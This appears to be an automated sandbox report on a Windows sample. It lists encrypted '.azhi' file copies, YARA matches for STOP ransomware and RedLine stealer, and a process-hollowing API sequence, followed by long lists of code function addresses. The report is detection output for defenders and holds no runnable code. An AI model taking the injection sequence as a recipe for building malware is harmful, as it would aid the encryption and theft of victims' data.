Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99731375742	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99847395438	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99410095055	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000001.db entropy: 7.99843028671	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99859961941	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99746827261	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99330694531	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99792774925	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\msedge_installer.log.azhi (copy) entropy: 7.99195559075	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.azhi (copy) entropy: 7.99687996165	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct150C.tmp.azhi (copy) entropy: 7.99769596471	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct33D7.tmp.azhi (copy) entropy: 7.99694559303	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct38F0.tmp.azhi (copy) entropy: 7.9970351598	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct443C.tmp.azhi (copy) entropy: 7.99708269836	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct49A7.tmp.azhi (copy) entropy: 7.99749325025	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctAB5F.tmp.azhi (copy) entropy: 7.99749093446	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctDB2E.tmp.azhi (copy) entropy: 7.99726397284	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctE4A4.tmp.azhi (copy) entropy: 7.99766197384	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctEA40.tmp.azhi (copy) entropy: 7.99763884496	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctF411.tmp.azhi (copy) entropy: 7.99765421548	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.azhi (copy) entropy: 7.99258785825	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.azhi (copy) entropy: 7.99719138262	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.azhi (copy) entropy: 7.99594061087	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1802187724.0000000004162000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.1885798926.0000000004192000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7288, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7416, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7476, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7644, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7664, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7864, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7880, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_043F0110
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04360110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	3_2_04360110
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04340110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	5_2_04340110

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F3520	0_2_043F3520
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F7520	0_2_043F7520
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FA699	0_2_043FA699
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0443B69F	0_2_0443B69F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FE6E0	0_2_043FE6E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FC760	0_2_043FC760
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FA79A	0_2_043FA79A
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0441D7F1	0_2_0441D7F1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FA026	0_2_043FA026
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FB000	0_2_043FB000
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0440F030	0_2_0440F030
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FB0B0	0_2_043FB0B0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_044000D0	0_2_044000D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F30F0	0_2_043F30F0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F70E0	0_2_043F70E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0443E141	0_2_0443E141
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F9120	0_2_043F9120
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0441D1A4	0_2_0441D1A4
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F7220	0_2_043F7220
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_044722C0	0_2_044722C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0443E37C	0_2_0443E37C
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F7393	0_2_043F7393
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_04432D1E	0_2_04432D1E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F5DF7	0_2_043F5DF7
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F5DE7	0_2_043F5DE7
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F8E60	0_2_043F8E60
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_04424E9F	0_2_04424E9F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_044118D0	0_2_044118D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F7880	0_2_043F7880
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FA916	0_2_043FA916
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F59F7	0_2_043F59F7
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0441E9A3	0_2_0441E9A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F89D0	0_2_043F89D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_0441F9B0	0_2_0441F9B0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FCA10	0_2_043FCA10
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F7A80	0_2_043F7A80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_04400B00	0_2_04400B00
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043F2B60	0_2_043F2B60
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043FDBE0	0_2_043FDBE0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0043E5A3	1_2_0043E5A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04363520	3_2_04363520
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04367520	3_2_04367520
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043AB69F	3_2_043AB69F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436A699	3_2_0436A699
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436E6E0	3_2_0436E6E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436C760	3_2_0436C760
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436A79A	3_2_0436A79A
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0438D7F1	3_2_0438D7F1
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0437F030	3_2_0437F030
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436A026	3_2_0436A026
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436B000	3_2_0436B000
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436B0B0	3_2_0436B0B0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043630F0	3_2_043630F0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043670E0	3_2_043670E0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043700D0	3_2_043700D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04369120	3_2_04369120
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043AE141	3_2_043AE141
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0438D1A4	3_2_0438D1A4
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04367220	3_2_04367220
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043E22C0	3_2_043E22C0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043AE37C	3_2_043AE37C
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04367393	3_2_04367393
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043A2D1E	3_2_043A2D1E
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04365DF7	3_2_04365DF7
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04365DE7	3_2_04365DE7
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04368E60	3_2_04368E60
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04394E9F	3_2_04394E9F
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04367880	3_2_04367880
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043818D0	3_2_043818D0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0436A916	3_2_0436A916
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0438F9B0	3_2_0438F9B0
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0438E9A3	3_2_0438E9A3
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_043659F7	3_2_043659F7
